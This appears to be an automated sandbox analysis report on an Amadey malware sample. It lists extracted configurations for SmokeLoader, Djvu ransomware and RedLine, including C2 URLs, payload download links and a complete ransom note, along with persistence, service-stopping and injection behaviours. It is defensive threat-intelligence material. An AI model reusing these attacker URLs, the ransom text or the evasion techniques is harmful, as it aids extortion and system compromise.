amadey | e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d

Analysis

max time kernel
150s
max time network
155s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
27-03-2023 16:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d.exe
Size

267KB
MD5

49cd88e363a5f738cbbd54d592512330
SHA1

f37c06f3f2f9e57a47a1715ad868b08e8266c28a
SHA256

e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d
SHA512

be8af7be3bbe50311ae5de510195dc4b182f237806f0f91770bda9ee537eb3e21b834f6c10bb125c679ee8e3eaaeaffe10fedb43e4d51cdb1419c32edf1a39d3
SSDEEP

3072:9F48sKF1adV2dk5LySNCA/N/fJAsZSsUzD/qC+1VSPJBfZNWa+84Dj5qsyLCU3wZ:jzsrVOk5LlNF/1fJpUDqC+IJxHtTsym

Malware Config

Extracted

Family

smokeloader

Version

2022

http://potunulit.org/

http://hutnilior.net/

http://bulimu55t.net/

http://soryytlic4.net/

http://novanosa5org.org/

http://nuljjjnuli.org/

http://tolilolihul.net/

http://somatoka51hub.net/

http://hujukui3.net/

http://bukubuka1.net/

http://golilopaster.org/

http://newzelannd66.org/

http://otriluyttn.org/

http://aapu.at/tmp/

http://poudineh.com/tmp/

http://firsttrusteedrx.ru/tmp/

http://kingpirate.ru/tmp/

rc4.i32

Extracted

Family

djvu

http://zexeq.com/lancer/get.php

Attributes

extension
.jypo
offline_id
MEMHlobHgXqvmTWaMsLcwGZhDOd00bblO1yevst1
payload_url
http://uaery.top/dl/build2.exe

http://zexeq.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-fkW8qLaCVQ Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0676JOsie

rsa_pubkey.plain

Extracted

Family

smokeloader

Botnet

pub1

Extracted

Family

smokeloader

Botnet

sprg

Extracted

Family

amadey

Version

3.65

77.73.134.27/8bmdh3Slb2/index.php

Extracted

Family

redline

Botnet

koreamon

koreamonitoring.com:80

Attributes

auth_value
1a0e1a9f491ef3df873a03577dfa10aa

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect rhadamanthys stealer shellcode 2 IoCs

resource	yara_rule
behavioral1/memory/4132-1212-0x00000000001D0000-0x00000000001EC000-memory.dmp	family_rhadamanthys
behavioral1/memory/4132-1248-0x00000000001D0000-0x00000000001EC000-memory.dmp	family_rhadamanthys

Detected Djvu ransomware 17 IoCs

resource	yara_rule
behavioral1/memory/3052-135-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3052-137-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2512-138-0x00000000024B0000-0x00000000025CB000-memory.dmp	family_djvu
behavioral1/memory/3052-139-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3052-160-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3052-167-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-178-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-180-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-186-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-185-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-188-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-192-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-194-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-195-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-200-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3036-233-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1612-1176-0x000001A7D1470000-0x000001A7D1480000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 19 IoCs

resource	yara_rule
behavioral1/memory/2124-284-0x00000000024B0000-0x000000000250A000-memory.dmp	family_redline
behavioral1/memory/2124-286-0x0000000002790000-0x00000000027E6000-memory.dmp	family_redline
behavioral1/memory/2124-291-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-292-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-294-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-296-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-298-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-300-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-302-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-304-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-306-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-308-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-310-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-312-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-314-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-316-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-318-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-320-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline
behavioral1/memory/2124-322-0x0000000002790000-0x00000000027E2000-memory.dmp	family_redline

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs

description	pid	Process	procid_target
PID 4148 created 3228	4148	XandETC.exe	28
PID 4148 created 3228	4148	XandETC.exe	28
PID 4148 created 3228	4148	XandETC.exe	28
PID 4148 created 3228	4148	XandETC.exe	28
PID 4148 created 3228	4148	XandETC.exe	28
PID 4524 created 3228	4524	updater.exe	28
PID 4524 created 3228	4524	updater.exe	28
PID 4524 created 3228	4524	updater.exe	28
PID 4524 created 3228	4524	updater.exe	28
PID 4524 created 3228	4524	updater.exe	28
PID 2040 created 3228	2040	conhost.exe	28
PID 4524 created 3228	4524	updater.exe	28

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/memory/4424-1755-0x00007FF73F730000-0x00007FF73FF24000-memory.dmp	xmrig
behavioral1/memory/4424-1767-0x00007FF73F730000-0x00007FF73FF24000-memory.dmp	xmrig

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
3228	Explorer.EXE

Executes dropped EXE 23 IoCs

pid	Process
2512	FEA8.exe
3052	FEA8.exe
4264	36C.exe
4532	476.exe
3872	6BA.exe
4072	FEA8.exe
4708	803.exe
3036	FEA8.exe
4312	1EE7.exe
5008	Player3.exe
4252	ss31.exe
4148	XandETC.exe
4884	nbveek.exe
4872	build3.exe
220	2C17.exe
3392	Player3.exe
1640	ss31.exe
4180	mstsca.exe
1832	nbveek.exe
2124	6F99.exe
4132	8852.exe
4524	updater.exe
4712	nbveek.exe

Loads dropped DLL 3 IoCs

pid	Process
2584	rundll32.exe
4900	rundll32.exe
96	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1296	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4424-1755-0x00007FF73F730000-0x00007FF73FF24000-memory.dmp	upx
behavioral1/memory/4424-1767-0x00007FF73F730000-0x00007FF73FF24000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\5a6265c3-18dd-47c6-a53f-9b563a51ccbb\\FEA8.exe\" --AutoStart"	FEA8.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	api.2ip.ua
11	api.2ip.ua
25	api.2ip.ua

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
4132	8852.exe
4132	8852.exe
4132	8852.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2512 set thread context of 3052	2512	FEA8.exe	67
PID 4072 set thread context of 3036	4072	FEA8.exe	79
PID 4524 set thread context of 2040	4524	updater.exe	163
PID 4524 set thread context of 4424	4524	updater.exe	169

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4852	sc.exe
3964	sc.exe
3656	sc.exe
5076	sc.exe
4416	sc.exe
4860	sc.exe
3132	sc.exe
404	sc.exe
4724	sc.exe
3580	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
2948	4532	WerFault.exe	69
4956	3872	WerFault.exe	73
448	4708	WerFault.exe	76
2152	220	WerFault.exe	98

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	36C.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	36C.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	36C.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4132	schtasks.exe
4040	schtasks.exe
1820	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2272	e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d.exe
2272	e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d.exe
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE
3228	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3228	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2272	e9cdefece19e843004c7f3db7eb8fe6408ee5ae9760e82906c762a12e124516d.exe
4264	36C.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeShutdownPrivilege	3228	Explorer.EXE
Token: SeCreatePagefilePrivilege	3228	Explorer.EXE
Token: SeDebugPrivilege	2124	6F99.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeIncreaseQuotaPrivilege	672	powershell.exe
Token: SeSecurityPrivilege	672	powershell.exe
Token: SeTakeOwnershipPrivilege	672	powershell.exe
Token: SeLoadDriverPrivilege	672	powershell.exe
Token: SeSystemProfilePrivilege	672	powershell.exe
Token: SeSystemtimePrivilege	672	powershell.exe
Token: SeProfSingleProcessPrivilege	672	powershell.exe
Token: SeIncBasePriorityPrivilege	672	powershell.exe
Token: SeCreatePagefilePrivilege	672	powershell.exe
Token: SeBackupPrivilege	672	powershell.exe
Token: SeRestorePrivilege	672	powershell.exe
Token: SeShutdownPrivilege	672	powershell.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeSystemEnvironmentPrivilege	672	powershell.exe
Token: SeRemoteShutdownPrivilege	672	powershell.exe
Token: SeUndockPrivilege	672	powershell.exe
Token: SeManageVolumePrivilege	672	powershell.exe
Token: 33	672	powershell.exe
Token: 34	672	powershell.exe
Token: 35	672	powershell.exe
Token: 36	672	powershell.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeShutdownPrivilege	3684	powercfg.exe
Token: SeCreatePagefilePrivilege	3684	powercfg.exe
Token: SeShutdownPrivilege	3760	powercfg.exe
Token: SeCreatePagefilePrivilege	3760	powercfg.exe
Token: SeShutdownPrivilege	3724	powercfg.exe
Token: SeCreatePagefilePrivilege	3724	powercfg.exe
Token: SeShutdownPrivilege	2968	powercfg.exe
Token: SeCreatePagefilePrivilege	2968	powercfg.exe
Token: SeIncreaseQuotaPrivilege	1612	powershell.exe
Token: SeSecurityPrivilege	1612	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3228 wrote to memory of 2512	3228	Explorer.EXE	66
PID 3228 wrote to memory of 2512	3228	Explorer.EXE	66
PID 3228 wrote to memory of 2512	3228	Explorer.EXE	66
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 2512 wrote to memory of 3052	2512	FEA8.exe	67
PID 3228 wrote to memory of 4264	3228	Explorer.EXE	68
PID 3228 wrote to memory of 4264	3228	Explorer.EXE	68
PID 3228 wrote to memory of 4264	3228	Explorer.EXE	68
PID 3228 wrote to memory of 4532	3228	Explorer.EXE	69
PID 3228 wrote to memory of 4532	3228	Explorer.EXE	69
PID 3228 wrote to memory of 4532	3228	Explorer.EXE	69
PID 3052 wrote to memory of 1296	3052	FEA8.exe	71
PID 3052 wrote to memory of 1296	3052	FEA8.exe	71
PID 3052 wrote to memory of 1296	3052	FEA8.exe	71
PID 3228 wrote to memory of 3872	3228	Explorer.EXE	73
PID 3228 wrote to memory of 3872	3228	Explorer.EXE	73
PID 3228 wrote to memory of 3872	3228	Explorer.EXE	73
PID 3052 wrote to memory of 4072	3052	FEA8.exe	74
PID 3052 wrote to memory of 4072	3052	FEA8.exe	74
PID 3052 wrote to memory of 4072	3052	FEA8.exe	74
PID 3228 wrote to memory of 4708	3228	Explorer.EXE	76
PID 3228 wrote to memory of 4708	3228	Explorer.EXE	76
PID 3228 wrote to memory of 4708	3228	Explorer.EXE	76
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 4072 wrote to memory of 3036	4072	FEA8.exe	79
PID 3228 wrote to memory of 4312	3228	Explorer.EXE	80
PID 3228 wrote to memory of 4312	3228	Explorer.EXE	80
PID 3228 wrote to memory of 4312	3228	Explorer.EXE	80
PID 4312 wrote to memory of 5008	4312	1EE7.exe	81
PID 4312 wrote to memory of 5008	4312	1EE7.exe	81
PID 4312 wrote to memory of 5008	4312	1EE7.exe	81
PID 4312 wrote to memory of 4252	4312	1EE7.exe	82
PID 4312 wrote to memory of 4252	4312	1EE7.exe	82
